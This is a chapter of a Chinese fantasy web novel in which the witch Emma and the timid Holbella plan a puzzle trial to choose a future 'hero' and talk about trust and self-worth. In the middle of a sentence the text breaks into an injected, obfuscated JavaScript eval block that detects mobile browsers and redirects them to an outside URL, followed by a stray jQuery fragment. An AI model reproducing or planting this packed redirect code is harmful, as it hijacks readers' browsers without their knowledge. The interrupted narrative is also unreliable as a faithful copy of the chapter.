179.勇者
作品:《月与砂》 勇者一定是天生被神明所选中的人吗?
.
艾玛阅读了许多戏剧故事,在旅途中听过见过百态众生模样之后,在这个问题上打了个巨大的问号。
她凝视着这个问题,想:或许是的。
被神殿视为救主般的她,单论性情品行,与那些神话所赞颂的神明使者并无多少相符的地方。
但她是天生的女巫,只因为这一点,救主的标准要为她改写。
神明选中她,所以她要领起正义的刀剑,她的正当性天然注定。
狡猾的捷径。
.
不能说它没有道理。女巫是神明的一部分,神所具有的独特视野,对魔力与命运的洞察,种种特性,女巫同样具备,因此她们的选择总显出一份特殊的正确。
信徒所寻求的指引庇护,无外乎是这样的表现。
而不具备这种视野的常人更容易犯错。但错误是不能补偿的吗?
只要有足够多的事实经历为经验,虽然是条远路,未尝不能与天赋者抵达同一个目的。
但如何甄别这样的人,区分真诚和虚伪?
.
勇者该以什么样的标准被选择?
.
荷尔贝拉说:“这是个很大胆的想法。”
她说出口后,又感到这话由自己来讲不那么让人信服,有点尴尬地整理了手里的设计稿纸。
“我的意思是……这是项很大的工程。我不太懂得机关设计,对魔法的专长领域很狭窄……我只是觉得,这会很难实行。”
她慎重地斟酌语句,磕绊了一下,“而且,像……这样重要的问题,我这样的人的想法,应该不具备什么参考性……”
“又在妄自菲薄了。”艾玛说。
“很抱歉……”
“我想听听看各种不同的答案。不然只以我自己的想法为参考,才肯定失准得厉害吧。”
艾玛耸一下肩,“可以想象,每个人对‘勇者’的形象都有不同的期待和定义,没有哪种答案是绝对正确错误的,只是视角和需求不同而已。”
荷尔贝拉沉默地又想一会儿,还是生涩道:“抱歉,我一时想不出来……”
“那也没事啦,你可以再考虑考虑,我很想听到你的答案。”艾玛笑了一下,“对这个方案有那么不看好吗?”
“不。”荷尔贝拉这次答得很快,“这虽然是我不成熟的想法,就我个人感情上说,我觉得这个方案……很有趣。”
艾玛笑盈盈地望着她,荷尔贝拉不好意思地咬了下舌尖,移开视线才继续道:“我很喜欢故事里那些暗号,解读它们的过程总让人惊喜,好像只有带上谜语,秘宝的存在才完整。
“您说……‘在阿瓦托芬内设置谜题,让将来的人根据线索回答提问,最后通过所有装置考验的“勇者”才能拿到女巫留下的武器’,这样的想法,非常像传说冒险故事的开头。”
荷尔贝拉说着说着,眼睛亮起来。
意识到自己的激动,她羞赧地掩了掩嘴:“抱歉,我失态了……我确实很喜欢那种‘幻想情节在现实里发生’的故事。虽然知道要实现很困难,以我浅薄的能力,因为自己幼稚的喜好就贸然赞同,这太不负责,非常愚蠢……”
艾玛盯着她,似乎有点意外:“贝拉,话一多,贬低自己的话也好多。”
“诶。”荷尔贝拉没有自觉地一愣。
“难得看到你这样,是喜欢这个方案的表现吧。我很开心。”艾玛愉快地说。
荷尔贝拉脸红了。
她的视线接着打飘:“不、不过,您说到关于谜题的设计,我有一点作为读者的感悟,或许作为参考……
“其实,故事里的很多谜题,作者虽然最后给了答案,但我仍然不能理解……或许是我自己的问题。就是,同样一个谜语,我认为经常有不唯一的答案。
“故事里的谜题最后往往只预设了一种解答,恰好是主人公所选择的解法。
“但如果到达谜题前,给出了不同思路、不标准的答案的其他寻宝者,只因为这样就被宝藏拒绝,我觉得……其实并不公平。
“我这样想过……后来理解到,许多的解谜故事,是作者在先有了结果之后,从结果往成因倒推,所以这路径是唯一的。
“主角是被作者选中的人,必然得知这唯一的解法;配角不被选中,只是故事的衬托,最后即使他们的答案符合情理,也不会是‘正确答案’。”
荷尔贝拉停顿一下,望向艾玛:“您是‘作者’,将要写就的这个故事里的‘神明’,您的定义会是‘标准’。您想要选择怎样的‘勇者’?”
艾玛笑了一下,赞叹道:“不愧是贝拉。你说不认为自己适合写故事,但你会考虑这些,你深入地研究过故事,你完全有作者的视角。你欠缺的只是动笔。”
“您过誉了。”荷尔贝拉仍然说。
艾玛没有停留来跟她争执这个问题,轻飘带过后继续道:“这是我想要留给百年,甚至更久之后的阿瓦托芬的谜题。我不认识那么久之后的人,既没有喜恶也没有偏袒。
“我只是希望在神殿没有女巫的时期,能有心智足够肩负责任和力量的人保护这里。
“不单纯地仰赖神明,而通过人类自己的见识、思考,去主导自己的命运。
“但是,我当然不希望自己赠予的力量被人滥用。能拿起我铸造的剑的双手,要能负担起它的重量,知道自己为什么而持剑。
“人类会改变,如果贤者变成愚人,曾经拿得起的东西,也要让它坠地。
“我想要完成这样的设计。”
荷尔贝拉沉思了一会儿,感叹说:“您的立意非常好……如果您已经有了蓝图,我很愿意尽自己的全部能力,协助您完成它。
“您已经决定要造一柄剑了吗?‘最后的武器’……设计图纸上没有看见,这是需要保密的吗?”
“不,”艾玛说,“我还没有想好要造什么。”
荷尔贝拉一噎。
艾玛的视线仿佛飘远了,含着笑说:“只是下意识觉得,有资格拿起这样武器的,不被魔法和命运所青睐,却勇敢、正直,不会倒下的‘勇者’,应该会拿一柄剑吧。”
荷尔贝拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902592|175926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺着她的描述想了想:“真想见见那样的人。”
“我见过哦。”艾玛笑着眨了一下眼睛,“但就因为我心目中的‘勇者’完全是她那样的形象,如果根据自己的主观来设计谜题,我也要‘根据结果倒推成因’了……得多听听别人的意见中和一下。
“武器上不值得担心,我已经有了思路。只是谜题部分太庞大,想来需要设计很长时间,现在还没想好方向。”
荷尔贝拉认同道:“想要达成您的设计目的,谜题应该相当复杂……我想,多听一些不同的人的意见会更好?”
“嗯,我也这么想!”艾玛点头,“我已经准备在阿瓦托芬发布一些‘问卷’,针对这个问题征集大家的想法,整理起来之后,再去文礼司请‘更专业’的职员帮忙设计谜语。”
荷尔贝拉尝试理解艾玛在这项活动中给自己安排的位置:“您是需要我帮忙分发宣传征集的告示吗?”
艾玛摇头,牵起她的手,认真地握了握:“你是我的陪审员。收集来的想法和后来的谜语,我想听听你的意见,希望你能和我一起讨论。”
荷尔贝拉被艾玛描述里的重视吓了一跳,声音又结巴了:“我怎么能……我也、我,我并不是什么……在这方面专业的……”
艾玛继续握了握她的手:“我也只是业余爱好。”
“但是……”
嘴边许多推脱的、拒绝的、惶恐的托词无用,艾玛望着她的眼睛。
荷尔贝拉感到身体僵硬,口中舌头干涩。
她很缓慢地,回望艾玛的眼睛,尽努力地不让自己的视线移开。
从别人眼中看见的自己真小,一个角落般的印象,在眼瞳的底色里,恍惚是失真的。
“……您为什么选择相信我?”荷尔贝拉的声音很轻,她自己都不知道是谁在发问。
“直觉。”艾玛很快地回答,笑起来,“一种感觉的综合,未必说得清楚。但我知道我们会合得来,我现在很确定。而且——这可是‘女巫的直觉’,别怀疑。”
她当然不怀疑艾玛。荷尔贝拉想。只是她不信任她自己。
胃里潮湿的信纸拧成一团,字迹早就模糊,在流逝的时间里失去了投递的终点和意义。只有那种在暗处仍然黏连的,不愿意剖出、舍弃,仿佛已化为器官一部分的东西。
那种卑劣而可憎的念头不能止息,可反胃的冲动只使人干呕,吐不出祸因。
有一种执着要她带着她所厌憎的那部分自己存活,要她们不能分离。
可不舍弃那些错误,她不能接受自己;分割的假设却使她无比痛苦,仿佛那样才是背叛了某种更深的东西。
你要一生如此吗?
荷尔贝拉听见自己的声音叩问她的眼睛。
她望着艾玛。多年以来,她总是回避着他人的目光说话。
眼睫颤动着,很长时间没有闭上,紧张漫上雾气。
只是长一些的对视就使得酸涩上涌,荷尔贝拉有一瞬间很想流泪。她按住了自己的情绪。
“……谢谢您。”她看着艾玛的眼睛,“我会尽可能地,试试看。”

